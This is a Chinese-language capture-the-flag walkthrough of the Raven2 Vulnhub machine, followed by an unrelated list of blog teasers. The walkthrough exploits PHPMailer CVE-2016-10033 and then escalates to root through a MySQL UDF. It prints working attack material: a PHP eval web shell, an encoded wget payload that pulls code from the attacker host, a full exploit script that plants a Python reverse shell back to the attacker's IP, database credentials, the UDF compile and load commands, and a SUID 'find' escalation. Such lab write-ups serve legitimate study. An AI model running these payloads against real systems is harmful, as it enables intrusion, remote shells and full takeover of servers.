Mysql UDF提权复现Raven2
Raven2通关过程
主要通过Raven2靶机进行复现Mysql UDF提权,以下为通关过程。
靶机镜像:https://www.vulnhub.com/entry/raven-2,269/
信息收集
拿到靶机ip:192.168.112.129
nmap -sP 192.168.112.0/24

探测开放端口,nmap用烂了换goby用用,看到开放了22、11、80端口

尝试访问80端口,一个提供安保服务的站点

对网站目录进行fuzz

根据扫描结果了解到是wordpress建站的,在vendor目录下存在目录遍历

在PATH下发现了flag1

渗透阶段
因为在信息收集时发现了PHPMailer和WordPass的信息
在WordPress (<= 4.6.0)、Drupal、1CRM、Joomla!等使用了PHPMailer的开源CMS并且PHPMailer < 5.2.18的情况下,存在(CVE-2016-10033)WordPress命令执行漏洞
当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。
phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。
CVE-2016-10033漏洞复现
准备好木马文件shell.php
<?php eval($_POST['tpa']); ?>
开启http服务
python -m http.server 80
在如下页面点击Lost your password抓包
http://raven.local/wordpress/wp-login.php?action=lostpassword

抓的包如下

构造payload
target(any -froot@localhost -be ${run{$payload}} null)
其中的$payload原型
/usr/bin/wget --output-document /var/www/html/tpashell.php 192.168.112.128/shell.php
需要对payload进行转换
所有/用${substr{0}{1}{$spool_directory}}代替
所有空格用${substr{10}{1}{$tod_log}}代替
${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}tpashell.php${substr{10}{1}{$tod_log}}192.168.112.128${substr{0}{1}{$spool_directory}}shell.php
最终的payload
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vendor${substr{0}{1}{$spool_directory}}tpashell.php${substr{10}{1}{$tod_log}}192.168.112.128${substr{0}{1}{$spool_directory}}shell.php}} null)
payload替换Host,但一直报错400

改用脚本,经过修改脚本如下
# -*- coding: utf-8 -*-
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lhos.system('clear')
print("\n")
print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗")
print("██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║")
print("╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝")
print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")target = 'http://192.168.112.129/contact.php'
backdoor = '/shell.php'payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.112.128\\\',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit','name': payload,'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields,boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'curl/7.47.0','Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:print('[+] ExPLoITeD ' + target)
执行后

点击http://192.168.112.129/contact.php链接,会生成shell.php文件
攻击机设置监听
nc -lvvp 7777
访问http://192.168.112.129/shell.php文件,成功反弹

当前用户为www-data

建立交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
在wordpress目录下的wp-config.php文件中找到mysql数据库的用户名密码
more wp-config.php

直接链接数据库
mysql -uroot -pR@v3nSecurity

顺便脱下库
show databases;

use wordpress

show tables;

select * from wp_users;

Mysql UDF提权
ps -aux|grep mysql
查看插件所在路径,得到路径/usr/lib/mysql/plugin/
show variables like '%plugin%';

在exp-db中搜索UDF,找到如下POC

记住编号1518
searchsploit 1518

找到1518.c的地址
locate 1518.c

编译生成so文件
gcc -g -shared -Wl,-soname,udf.so -o udf.so /usr/share/exploitdb/exploits/linux/local/1518.c -lc
-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件-Wl选项告诉编译器将后面的参数传递给链接器。
-soname则指定了动态库的soname(简单共享名,Short for shared object name)
soname的关键功能是它提供了兼容性的标准:
当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易。
-o 生成的文件
-lc -l 库 c库名
将文件传到靶机,攻击机开启http服务
wget http://192.168.112.128/udf.so

回到数据库,使用mysql库
use mysql

创建表tpax
create table tpax(line blob);
将上传的udf.so文件二进制数据插入表中
insert into tpax values(load_file('/var/www/html/udf.so'));

利用dumpfile函数将文件导出
select * from tpax into dumpfile '/usr/lib/mysql/plugin/udf.so';

创建自定义函数do_system,类型integer,别名udf.so
create function do_system returns integer soname 'udf.so';

查看创建的函数
select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');

使用find命令
find / -exec "/bin/sh" \;

成功拿到root,进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
加上之前拿到的flag1拿到所有flag
find / -name flag*

相关文章:
Mysql UDF提权复现Raven2
Raven2通关过程 主要通过Raven2靶机进行复现Mysql UDF提权,以下为通关过程。 靶机镜像:https://www.vulnhub.com/entry/raven-2,269/ 信息收集 拿到靶机ip:192.168.112.129 nmap -sP 192.168.112.0/24探测开放端口,nmap用烂了…...
枚举类(enum)
定义:在某些情况下,一个类的实例对象是有限且固定的,可将该类称为“枚举类”。枚举类是JDK 1.5 之后提出来的。例如:四季只有春夏秋冬4个季节,性别只有男女2个,故四季类和性别类均可称为“枚举类”。 在自…...
腾讯云架构师亲码“redis深度笔记”,从入门到精通,面面俱到
前言 作为这个时代码代码的秃头人员,对Redis肯定是不陌生的,如果连Redis都没用过,还真不好意思出去面试,指不定被面试官吊打多少次。 毕竟现在互联网公司和一些创业公司都要用到Redis,像亚马逊、谷歌、阿里、腾讯都要…...
萌新应该如何开始学习走向自动化测试高薪岗位?
对于测试人员来说,不管进行功能测试还是自动化测试,还是性能测试,都是需要编写测试用例,所以我们必须先要了解清楚手工测试用例与自动化测试用例的一些特点,才能更好的开展自动化测试工作。1.1手工测试用例和自动化测试…...
-bash: pip: command not found
背景 这个错误的原因就是,我们的服务器上没有安装pip,装上就可以了,下面我们看一下centos中的解决方案 下载 wget https://bootstrap.pypa.io/get-pip.py 下载完成后如下图: 安装 安装的时候首先需要看一下自己的python是什…...
使用HTTP隧道代理,请求超过频率要怎么办?
在网上,经常会看到有人说使用隧道代理经常遇到429错误(请求超过频率),我们要如何解决这一问题呢?通常情况,优质的HTTP代理厂商隧道代理服务器采用的是高性能主机构建的动态IP代理服务器,是可以支…...
paddle 49 ODConv的可部署调整
ODConv是一种适用于轻量化模型的conv结构,可以在较少的参数下训练出多参数模型才能达到的精度,在相同的flop下可以稳定的涨2-3%个点。但是在paddle下部署ODConv动态卷积模型时会报出各种异常,导致模型无法转静态图或onnx格式(可能在pytorch下也是无法转换的)。为此研究ODC…...
C++ STL 学习之【string】
✨个人主页: Yohifo 🎉所属专栏: C修行之路 🎊每篇一句: 图片来源 The key is to keep company only with people who uplift you, whose presence calls forth your best. 关键是只与那些提升你的人在一起,…...
使用开源 MaxKey 与 APISIX 网关保护你的 API
1. Apache APISIX介绍 Apache APISIX 是 Apache 软件基金会下的云原生 API 网关,它兼具动态、实时、高性能等特点,提供了负载均衡、动态上游、灰度发布(金丝雀发布)、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以…...
Linux之Xshell工具使用
shell简介Xshell是一个远程工具,可以远程连接linux系统 ,SSH,远程管理 Xshell来远程访问Linux系统的终端 。shell的英文含义是“壳”;它是相对于内核来说的,因为它是建立在内核的基础上,面向于用户的一种表…...
【数据结构与算法】时间复杂度与空间复杂度
目录 一.前言 二.时间复杂度 1.概念 二.大O的渐进表示法 概念: 总结: 三.常见时间复杂度计算举例 例1 例2 例3 例4 例5.计算冒泡排序的时间复杂度 例6.二分算法的时间复杂度 例7.阶乘递归Fac的时间复杂度 例8.斐波那契递归的时间复杂度 …...
Nginx如何配置Http、Https、WS、WSS的方法步骤
这篇文章主要介绍了Nginx如何配置Http、Https、WS、WSS的方法步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧 写在前面 当今互联网领域,Nginx是使…...
【博客621】iptables -J动作总结
iptables -J动作总结 1、iptables常见动作 ACCEPTDROPREJECTLOGSNATDNATMASQUERADEREDIRECT 2、iptables常见动作用法 2-1、ACCEPT: 作用:用于接收匹配的流量,使得流量继续往后面的规则和链路去匹配 2-2、DROP 作用:用于丢弃匹…...
Chrome开发者工具:利用网络面板做性能分析
Chrome 开发者工具(简称 DevTools)是一组网页制作和调试的工具,内嵌于 Google Chrome 浏览器中。 Chrome 开发者工具有很多重要的面板,比如与性能相关的有网络面板、Performance 面板、内存面板等,与调试页面相关的有…...
SpringCloud系列(十三)[分布式搜索引擎篇] - ElasticSearch 的概念及 Centos 7 下详细安装步骤
打开淘宝, 搜索 狂飙 会出现各种价格有关狂飙的书籍, 当然也有高启强同款的孙子兵法!!! 如下图所示: 那么面对海量的数据, 如何快速且准确的找到我们想要的内容呢? 淘宝界面已经可以按照综合排序 / 销量 / 信用 / 价格等进行筛选, 是如何做到的呢? ElasticSearch 11 Elastic…...
04_Docker 镜像和仓库
04_Docker 镜像和仓库 文章目录04_Docker 镜像和仓库4.1 什么是 Docker 镜像4.2 列出 Docker 镜像4.3 拉取镜像4.4 查找镜像4.5 构建镜像4.5.1 创建 Docker Hub 账号4.5.2 用 Docker 的 commit 命令创建镜像4.5.3 用 Dockerfile 构建镜像4.5.5 基于 Dockerfile 构建新镜像4.5.5…...
postman-enterprise-API
Postman 是一个用于构建和使用 API 的 API 平台。Postman 简化了 API 生命周期的每个步骤并简化了协作,因此您可以更快地创建更好的 API。 API存储库 在一个中央平台上围绕您的所有 API 工件轻松存储、编目和协作。Postman 可以存储和管理 API 规范、文档、工作流配…...
【ESP 保姆级教程】玩转emqx MQTT篇② ——保留消息和遗嘱消息
忘记过去,超越自己 ❤️ 博客主页 单片机菜鸟哥,一个野生非专业硬件IOT爱好者 ❤️❤️ 本篇创建记录 2023-02-18 ❤️❤️ 本篇更新记录 2023-02-18 ❤️🎉 欢迎关注 🔎点赞 👍收藏 ⭐️留言📝🙏 此博客均由博主单独编写,不存在任何商业团队运营,如发现错误,请…...
开启慢查询日志方法
步骤 开启慢查询日志 SET GLOBAL slow_query_log on;SHOW VARIABLES like slow_query_log;设置时间限制 SET GLOBAL long_query_time 1; -- 单位sSHOW VARIABLES LIKE %long_query_time%;因为long_query_time参数只对新的数据库连接生效,所以还需要重启msql客户端…...
宝塔搭建实战人才求职管理系统admin前端vue源码(二)
大家好啊,我是测评君,欢迎来到web测评。 上一期给大家分享骑士cms后台端在宝塔的搭建部署方式,这套系统是前后端分离的架构,前端是用vue2开发的,还需要在本地打包手动发布上宝塔,所以本期给大家分享&#x…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
STM32标准库-DMA直接存储器存取
文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA(Direct Memory Access)直接存储器存取 DMA可以提供外设…...
家政维修平台实战20:权限设计
目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系,主要是分成几个表,用户表我们是记录用户的基础信息,包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题,不同的角色…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南
1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发,使用DevEco Studio作为开发工具,采用Java语言实现,包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...
2023赣州旅游投资集团
单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...
在QWebEngineView上实现鼠标、触摸等事件捕获的解决方案
这个问题我看其他博主也写了,要么要会员、要么写的乱七八糟。这里我整理一下,把问题说清楚并且给出代码,拿去用就行,照着葫芦画瓢。 问题 在继承QWebEngineView后,重写mousePressEvent或event函数无法捕获鼠标按下事…...
git: early EOF
macOS报错: Initialized empty Git repository in /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core/.git/ remote: Enumerating objects: 2691797, done. remote: Counting objects: 100% (1760/1760), done. remote: Compressing objects: 100% (636/636…...
9-Oracle 23 ai Vector Search 特性 知识准备
很多小伙伴是不是参加了 免费认证课程(限时至2025/5/15) Oracle AI Vector Search 1Z0-184-25考试,都顺利拿到certified了没。 各行各业的AI 大模型的到来,传统的数据库中的SQL还能不能打,结构化和非结构的话数据如何和…...
怎么开发一个网络协议模块(C语言框架)之(六) ——通用对象池总结(核心)
+---------------------------+ | operEntryTbl[] | ← 操作对象池 (对象数组) +---------------------------+ | 0 | 1 | 2 | ... | N-1 | +---------------------------+↓ 初始化时全部加入 +------------------------+ +-------------------------+ | …...
